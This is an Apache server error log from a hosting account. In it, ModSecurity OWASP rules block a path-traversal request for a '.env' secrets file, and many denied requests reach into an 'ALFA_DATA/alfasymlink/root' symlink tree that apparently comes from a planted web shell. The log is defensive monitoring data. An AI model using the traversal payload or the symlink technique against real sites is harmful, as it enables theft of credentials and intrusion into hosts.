[Sun Oct 25 14:01:41.853354 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBYIGIq5euXyTbvT1RAAAACQ"]
[Sun Oct 25 14:01:41.853413 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBYIGIq5euXyTbvT1RAAAACQ"]
[Sun Oct 25 14:01:41.853442 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBYIGIq5euXyTbvT1RAAAACQ"]
[Sun Oct 25 14:01:41.853885 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBYIGIq5euXyTbvT1RAAAACQ"]
[Sun Oct 25 14:01:41.854252 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at5EBYIGIq5euXyTbvT1RAAAACQ"]
[Sun Oct 25 14:01:54.685528 2026] [ssl:error] [pid 2875846:tid 2875846] (70014)End of file found: [client 54.144.185.255:21012] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:02:06.997317 2026] [ssl:error] [pid 2875837:tid 2875837] (70014)End of file found: [client 100.29.160.53:26534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:02:14.599870 2026] [ssl:error] [pid 2875835:tid 2875835] (70014)End of file found: [client 98.84.200.43:21219] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:02:18.784015 2026] [ssl:error] [pid 2875846:tid 2875846] (70014)End of file found: [client 107.23.62.75:61253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:02:33.043779 2026] [core:error] [pid 2875837:tid 2875837] (13)Permission denied: [client 85.208.96.199:15658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/total_objects
[Sun Oct 25 14:02:46.182625 2026] [authz_core:error] [pid 2875819:tid 2875819] [client 72.153.124.48:43787] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sun Oct 25 14:03:06.671541 2026] [ssl:error] [pid 2875839:tid 2875839] (70014)End of file found: [client 52.23.112.144:48863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:22.807466 2026] [ssl:error] [pid 2875849:tid 2875849] (70014)End of file found: [client 52.45.77.169:19646] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:26.712786 2026] [ssl:error] [pid 2875819:tid 2875819] (70014)End of file found: [client 3.210.223.61:50579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:34.685358 2026] [ssl:error] [pid 2875841:tid 2875841] (70014)End of file found: [client 52.4.76.156:29676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:36.055261 2026] [authz_core:error] [pid 2875836:tid 2875836] [client 185.12.59.118:54200] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:03:38.709940 2026] [core:error] [pid 2875839:tid 2875839] (13)Permission denied: [client 18.207.79.144:35697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/atkbd/unbind
[Sun Oct 25 14:03:46.925183 2026] [ssl:error] [pid 2875846:tid 2875846] (70014)End of file found: [client 54.84.250.51:26362] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:50.648797 2026] [ssl:error] [pid 2875849:tid 2875849] (70014)End of file found: [client 52.71.216.196:15583] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:54.768024 2026] [ssl:error] [pid 2874494:tid 2874494] (70014)End of file found: [client 52.71.218.25:40095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:03:59.045666 2026] [ssl:error] [pid 2875841:tid 2875841] (70014)End of file found: [client 3.225.45.252:38380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:02.832935 2026] [ssl:error] [pid 2875836:tid 2875836] (70014)End of file found: [client 35.174.253.85:60689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:06.698262 2026] [ssl:error] [pid 2875835:tid 2875835] (70014)End of file found: [client 54.225.148.123:43650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:10.847223 2026] [ssl:error] [pid 2875748:tid 2875748] (70014)End of file found: [client 44.194.134.53:13178] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:18.946917 2026] [ssl:error] [pid 2875819:tid 2875819] (70014)End of file found: [client 52.3.156.186:4536] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:22.873722 2026] [ssl:error] [pid 2874494:tid 2874494] (70014)End of file found: [client 54.197.102.71:57868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:30.752961 2026] [ssl:error] [pid 2875841:tid 2875841] (70014)End of file found: [client 44.212.131.50:15778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:35.278388 2026] [ssl:error] [pid 2875839:tid 2875839] (70014)End of file found: [client 34.194.14.255:61949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:39.576001 2026] [core:error] [pid 2875748:tid 2875748] (13)Permission denied: [client 185.191.171.5:45592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/nocgiusers
[Sun Oct 25 14:04:44.785877 2026] [ssl:error] [pid 2875849:tid 2875849] (70014)End of file found: [client 85.208.96.200:59874] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:46.934212 2026] [ssl:error] [pid 2875819:tid 2875819] (70014)End of file found: [client 18.204.89.56:63169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:04:54.792055 2026] [ssl:error] [pid 2875837:tid 2875837] (70014)End of file found: [client 44.208.193.63:45264] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:02.880927 2026] [ssl:error] [pid 2875835:tid 2875835] (70014)End of file found: [client 100.25.120.246:37069] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:07.027021 2026] [ssl:error] [pid 2875748:tid 2875748] (70014)End of file found: [client 44.207.207.36:10870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:14.819659 2026] [ssl:error] [pid 2875819:tid 2875819] (70014)End of file found: [client 18.215.24.66:7317] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:22.852651 2026] [core:error] [pid 2875836:tid 2875836] (13)Permission denied: [client 34.195.60.66:62577] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:1c/subsystem/drivers/thermal/uevent
[Sun Oct 25 14:05:26.805072 2026] [ssl:error] [pid 2875839:tid 2875839] (70014)End of file found: [client 52.71.216.196:19516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:30.842707 2026] [core:error] [pid 2875835:tid 2875835] (13)Permission denied: [client 185.191.171.16:37562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/ctor
[Sun Oct 25 14:05:30.908479 2026] [ssl:error] [pid 2875748:tid 2875748] (70014)End of file found: [client 54.86.59.155:8919] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:39.132497 2026] [ssl:error] [pid 2874494:tid 2874494] (5)Input/output error: [client 52.203.152.231:54927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:47.336056 2026] [ssl:error] [pid 2875841:tid 2875841] (70014)End of file found: [client 184.73.47.24:51204] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:50.997116 2026] [ssl:error] [pid 2875836:tid 2875836] (70014)End of file found: [client 34.205.163.103:41737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:54.962489 2026] [ssl:error] [pid 2875748:tid 2875748] (70014)End of file found: [client 52.2.4.213:21738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:05:58.967544 2026] [ssl:error] [pid 2875835:tid 2875835] (70014)End of file found: [client 3.214.176.44:42116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:03.511504 2026] [ssl:error] [pid 2875846:tid 2875846] (70014)End of file found: [client 44.193.115.232:42608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:06.861049 2026] [ssl:error] [pid 2875819:tid 2875819] (70014)End of file found: [client 3.215.59.93:39266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:10.924715 2026] [ssl:error] [pid 2875837:tid 2875837] (70014)End of file found: [client 3.218.35.239:42692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:19.386090 2026] [ssl:error] [pid 2875839:tid 2875839] (70014)End of file found: [client 54.225.181.161:39536] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:26.943039 2026] [ssl:error] [pid 2875846:tid 2875846] (70014)End of file found: [client 100.29.160.53:22806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:31.174315 2026] [ssl:error] [pid 2875849:tid 2875849] (70014)End of file found: [client 52.207.47.227:53294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:34.772360 2026] [core:error] [pid 2875819:tid 2875819] (13)Permission denied: [client 85.208.96.209:64900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_reject_ipv6/sections/__jump_table
[Sun Oct 25 14:06:35.245124 2026] [ssl:error] [pid 2874494:tid 2874494] (70014)End of file found: [client 44.207.252.58:51547] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:39.144923 2026] [ssl:error] [pid 2875837:tid 2875837] (70014)End of file found: [client 100.25.120.246:8897] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:44.070182 2026] [ssl:error] [pid 2875839:tid 2875839] (70014)End of file found: [client 44.207.252.58:62990] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:06:47.219747 2026] [ssl:error] [pid 2875819:tid 2875819] (70014)End of file found: [client 3.223.134.5:1126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:15.076339 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 34.194.14.255:6833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:23.219613 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 35.169.119.108:37382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:28.618711 2026] [ssl:error] [pid 2875798:tid 2875798] (22)Invalid argument: [client 34.224.132.215:16752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:31.416101 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 35.171.117.160:18202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:35.313069 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 54.204.12.115:37941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:39.274363 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 52.202.52.82:49138] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:43.347533 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 52.70.123.241:1727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:47.496111 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 34.202.88.37:59579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:07:51.779605 2026] [core:error] [pid 2875790:tid 2875790] (13)Permission denied: [client 185.191.171.19:33180] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/security/ima/binary_runtime_measurements
[Sun Oct 25 14:07:52.601414 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 3.217.171.106:33387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:08:03.366874 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 44.215.61.66:19263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:08:07.584058 2026] [core:error] [pid 2875821:tid 2875821] (13)Permission denied: [client 35.168.238.50:10477] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/uevent
[Sun Oct 25 14:08:11.618469 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 23.23.137.202:10878] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:08:19.314736 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 3.225.45.252:32416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/compact
[Sun Oct 25 14:08:31.491388 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 52.54.15.103:16251] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:08:41.223362 2026] [core:error] [pid 2875825:tid 2875825] (13)Permission denied: [client 185.191.171.16:17160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/validate
[Sun Oct 25 14:08:47.378257 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 3.93.98.99:14877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:08:59.609281 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 44.195.50.71:15300] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:07.890715 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 34.234.197.175:52983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:11.395561 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 3.226.106.93:51307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:19.694408 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 100.24.149.244:15538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:23.429513 2026] [core:error] [pid 2875804:tid 2875804] (13)Permission denied: [client 185.191.171.13:28766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/slab_size
[Sun Oct 25 14:09:27.559530 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 3.212.219.113:11842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:31.581818 2026] [core:error] [pid 2875825:tid 2875825] (13)Permission denied: [client 54.91.122.193:24963] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/ohci-pci/unbind
[Sun Oct 25 14:09:35.445193 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 54.85.7.119:54929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:39.480796 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 34.192.125.239:53557] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:47.605760 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 54.235.172.96:5319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:09:55.530012 2026] [core:error] [pid 2875808:tid 2875808] (13)Permission denied: [client 98.83.94.113:23709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/remove_id
[Sun Oct 25 14:09:57.995232 2026] [authz_core:error] [pid 2875821:tid 2875821] [client 89.37.172.134:62004] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:09:59.620026 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 98.82.59.253:40405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:10:00.053674 2026] [authz_core:error] [pid 2875790:tid 2875790] [client 64.205.72.120:9482] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:10:00.390081 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 77.67.26.94:11614] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:10:03.525407 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 34.194.95.99:51885] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:10:05.402281 2026] [authz_core:error] [pid 2875825:tid 2875825] [client 54.160.247.72:40560] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 14:10:19.730663 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 54.85.7.119:6093] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:10:23.550711 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 52.45.29.57:40227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:10:44.045851 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 54.156.248.117:6413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:10:55.892565 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 54.162.69.192:54036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:00.353037 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 34.192.67.98:22612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:11.107560 2026] [core:error] [pid 2875807:tid 2875807] (13)Permission denied: [client 85.208.96.211:40862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/partial
[Sun Oct 25 14:11:16.195066 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 52.45.194.165:6640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:32.183604 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 18.235.158.19:60982] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:39.946867 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 34.234.206.30:29537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:43.934360 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 23.23.213.182:48259] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:48.351376 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 18.213.102.186:53577] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:11:52.066352 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 52.205.113.104:56941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:08.183953 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 34.194.226.74:40909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:08.413181 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 54.160.247.72:59624] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 14:12:11.813809 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 3.213.85.234:39283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:16.932151 2026] [core:error] [pid 2875804:tid 2875804] (13)Permission denied: [client 185.191.171.13:39894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/shrink
[Sun Oct 25 14:12:20.460210 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 34.205.170.13:46751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:28.196095 2026] [ssl:error] [pid 2875790:tid 2875790] (70014)End of file found: [client 3.210.114.189:48428] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:31.649270 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 3.89.176.255:8800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:35.648589 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 3.221.222.168:27922] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:40.099953 2026] [core:error] [pid 2875807:tid 2875807] (13)Permission denied: [client 185.191.171.2:33374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/destroy_by_rcu
[Sun Oct 25 14:12:47.884433 2026] [ssl:error] [pid 2875821:tid 2875821] (70014)End of file found: [client 52.3.127.170:51333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:51.516427 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 50.16.72.185:36143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:55.555836 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 44.206.65.8:1904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:12:59.638865 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 44.221.37.41:2228] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:13:04.103013 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 52.205.222.214:13193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:13:08.991279 2026] [ssl:error] [pid 2875804:tid 2875804] (70014)End of file found: [client 54.159.98.248:23949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:13:15.637036 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 18.214.251.19:19732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:13:19.601843 2026] [core:error] [pid 2875828:tid 2875828] (13)Permission denied: [client 3.221.50.71:30926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/unbind
[Sun Oct 25 14:13:20.661911 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 85.208.96.199:51004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:13:25.634902 2026] [core:error] [pid 2875796:tid 2875796] (13)Permission denied: [client 85.208.96.194:60368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/rsyslogd.pid
[Sun Oct 25 14:13:27.618942 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 3.229.164.203:17382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:13:59.482115 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 3.221.244.28:32027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:14:07.253988 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 23.21.227.240:51244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:14:14.658208 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 216.244.66.250:59764] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/128/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/128/fd/' is executable
[Sun Oct 25 14:14:14.658300 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 216.244.66.250:59764] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/128/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/128/map_files/' is executable
[Sun Oct 25 14:14:14.658316 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 216.244.66.250:59764] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/128/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/128/fdinfo/' is executable
[Sun Oct 25 14:14:15.607795 2026] [ssl:error] [pid 2875828:tid 2875828] (70014)End of file found: [client 85.208.96.201:16800] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:14:18.956555 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 216.244.66.250:59770] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194688/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194688/fd/' is executable
[Sun Oct 25 14:14:18.956615 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 216.244.66.250:59770] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194688/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194688/map_files/' is executable
[Sun Oct 25 14:14:18.956632 2026] [core:crit] [pid 2873159:tid 2873159] (13)Permission denied: [client 216.244.66.250:59770] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194688/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194688/fdinfo/' is executable
[Sun Oct 25 14:14:23.142799 2026] [ssl:error] [pid 2875808:tid 2875808] (70014)End of file found: [client 23.21.227.240:24115] AH02013: coalesce failed to read from data bucket
